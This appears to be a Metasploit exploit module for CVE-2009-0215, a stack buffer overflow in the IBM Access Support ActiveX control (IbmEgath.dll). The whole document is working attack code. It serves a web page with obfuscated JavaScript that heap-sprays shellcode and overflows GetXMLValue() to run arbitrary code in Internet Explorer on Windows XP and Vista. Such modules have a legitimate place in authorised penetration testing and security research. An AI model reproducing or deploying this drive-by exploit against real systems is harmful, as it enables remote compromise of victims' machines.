IBM Access Support – ActiveX Control Buffer Overflow (Metasploit)
## # $Id: ibmegath_getxmlvalue.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Access Support ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in IBM Access Support. When sending an overly long string to the GetXMLValue() method of IbmEgath.dll (3.20.284.0) an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2009-0215' ], [ 'OSVDB', '52958' ], [ 'BID', '34228' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], 'DisclosureDate' => 'Mar 24 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2) fill = rand_text_english(rand(12) + 1) js = %Q| try { var evil_string = ""; var index; var sumthang; var vulnerable = new ActiveXObject('IbmEgath.IbmEgathCtl.1'); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000); for (index = 0; index < 4024; index++) { evil_string = evil_string + my_unescape('#{ret}'); } vulnerable.RunEgatherer('#{fill}'); var sumthang = vulnerable.GetXMLValue('#{fill}.xml', evil_string); } catch( e ) { window.location = 'about:blank' ; } | opts = { 'Strings' => true, 'Symbols' => { 'Variables' => [ 'vulnerable', 'shellcode', 'my_unescape', 'index', 'evil_string', 'sumthang', ] } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.update_opts(js_heap_spray.opts) js.obfuscate() content = %Q|<html> <body> <script><!-- #{js} //</script> </body> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |